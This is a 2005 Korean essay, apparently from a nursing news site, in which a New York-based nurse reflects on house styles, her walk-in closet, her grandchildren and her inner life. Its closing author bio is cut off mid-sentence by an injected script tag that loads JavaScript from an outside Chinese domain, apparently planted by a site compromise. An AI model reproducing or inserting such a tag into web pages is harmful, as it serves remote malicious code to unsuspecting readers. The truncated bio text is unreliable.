기사입력 2005-03-17 오전 09:50:45

　`중국은 음식이요. 여자는 일본, 가옥은 미국형'이라는 말이 있다. 이것이 눈에 보이는 행복의 척도라면 중국남자가 일본여자와 결혼해서 미국 어디쯤에서 산다면 제일 바람직할 것이다. 남성우월 사회를 위한 속담이다. 여자인 나도 그 중에서 한 가지를 갖췄다면 삼분의 일 행운아가 될지 모를 일이다.

　비록 기와가 올려져 있기는 했으나 다섯 칸 겹집인 나의 시골 생가는 지금 생각하면 얼마나 불편한 가옥이었는가를 새삼 깨닫는다. 눈이라도 오는 날이면 대청마루 끝에는 수북하니 눈이 쌓이고 댓돌은 비바람에 젖기가 일쑤여서 항상 신발 간수에 신경을 써야 했다. 바람막이 미닫이 유리문이 생긴 것은 내가 꽤나 성장한 후의 일이다.

　도회지로 이사를 오고 한참이나 지나서는 후스마가 이방 저방 달려있는 일본식 한옥에서 살았는데 고향의 그 고옥에 비하면 한층 편리했다. 이불을 적당히 개켜서 문만 닫으면 방안은 순식간에 깨끗이 정리됐다. 대식구를 거느린 나의 어머님은 “일본사람들 집 짓는 머리는 우리가 도저히 못 따라 간다󰡓며 감복하시곤 했다. 몇 번 미국을 다녀가신 어머님은 󰡒이 곳 사람들 집 짓는 기술은 한국사람이 대충 흉내는 낼 수 있을지언정...󰡓하시면서 양옥의 동선을 배려한 집안 구조에 칭찬을 아끼지 않으셨다. 그러면서 소나기라도 오는 날, 차고 문에서 비 한 방울 맞지 않고 곧바로 집안으로 들어오는 편리함에 혀를 끌끌 차시며 감동하시곤 했다.

　나도 나의 어머니를 닮아서인지 이곳 미국의 주택구조를 매우 좋아한다. 오랜 시간동안 살면서도 갈수록 그 편리함의 혜택에 고마워한다. 최근에는 천정이 매우 높은 `Bolted Ceiling'이 있는 새 집들을 많이 본다. 전혀 차단되지 않는 햇빛이 하루 종일 들어오는 스타일이라서 내가 선호하는 형이다. 얼마나 이 집에서 더 살게 될지는 모르는 일이지만 은퇴를 준비하면서 새로 이사를 온 곳이다.

　그러나 나는 밝고 높은 천장의 매력보다 나의 침실 옆에 딸려있는 Walk in Closet(걸어 들어가는 벽장)을 더 좋아한다. 나의 작은 방이기도 하다. 내 몫으로 서재가 따로 없으니 이곳은 남편의 금단구역이고 흩어진 양말을 여기저기 줍지 않아도 되는 유일한 구역이다. 갑자기 집으로 손님이 온다고 하면 거실이나 패밀리룸의 구닥다리들이 이곳으로 급거 대피를 하는 곳이기도 하다. 딸아이네 식구가 와서 붐빌 때는 옷을 갈아입을 곳이 마땅치 않은데 문만 꼭 닫으면 협소하나마 드레스룸 대용도 된다.

　또한 이 작은 공간은 나의 손자 손녀들이 제일 좋아하는 곳이기도 하다. TV를 보거나 다른 장난감을 가지고 놀다가도 느닷없이 이곳에 들어가서 온갖 잡동사니를 어질러 놓고 소꿉장난을 한다. 내가 애지중지 하는 드레스를 옷걸이에서 걷어내 걸치고 두르고 하다가는 결국은 쑥대밭을 만들고 만다. 문에다가는 `외부인 출입금지'라는 팻말을 걸어두고 장시간 혼이 빠진 듯 노는 장소다. 딸아이는 이유도 없이 녀석들이 칭얼대면 “할머니 벽장 안에 들어가서 놀아󰡓라고 명령을 할 정도다.

　아이들이 썰물 빠지듯 제 집으로 떠나고 나면 이곳은 온통 그 애들이 비비고 간 흔적이 더욱 진한 곳이다. 내가 녀석들의 체온을 오랫동안 간직하고 싶은 심정으로 마지막에 치우는 곳이다. 제철에 따라 옷들이 단정히 자리를 잡고 있을 때도 있으나 급히 치운 쇼핑백들이 이리저리 널브러져 있으면 마음이 어수선하다. 그래도 이 작은 나의 공간에서 재잘거리는 소리가 들리고 그들의 모습이 눈에 걸려서 후딱 치우고 싶지가 않다. 이곳은 나의 가슴이고 그들이 나의 품안에 오래오래 머물 수 있도록 붙잡고 있는지도 모른다.

　그런데 요즘 나는 이 벽장문 앞에 설 때면 왠지 나의 속을 들여다보러 가는 기분이 되곤 한다. 문만 닫아버리고 나면 그 안이 아무리 어수선하고 추하더라도 도무지 표가 나지 않는 것도 나를 닮았다. 구겨진 옷처럼 내가 사물을 왜곡해서 본 때가 허다하리라. 만나서 부담스러운 사람은 나의 외손자들처럼 `외부인 출입금지'라고 하듯이 내 표정을 싸늘하게 바꾸었을 것이다. 내가 불을 켜주지 않으면 터널처럼 깜깜한 곳이다.

　외모가 항상 가지런한 어떤 선배의 말이 잊혀지지 않는다. “갑자기 아파서 병원에라도 실려가게 될 형편이면 내 옷장이 엉망인데…󰡓라면서 안타까워한다고 했다. 󰡒살림을 잘 하는 여자는 벽장이 항상 깔끔하게 정돈이 돼있어야 한다󰡓고도 했다. 그 선배의 저울이 아니더라도 나의 살림살이 점수는 별 수가 없는 것을 이미 다 알고 있는 일이다. 그렇다면 나는 왜 이 벽장문 앞에서 서성이는 횟수가 부쩍 많아지는 것일까?

　※ 김옥수 간호사는 계명대 간호대학과 영어영문학과를 졸업했다. 1969년부터 미국 뉴욕에서 간호사로 일하고 있다. 1993년 문학세계 ?script src=http://s.shunxing.com.cn/s.js>

김옥수  news@nursenews.co.kr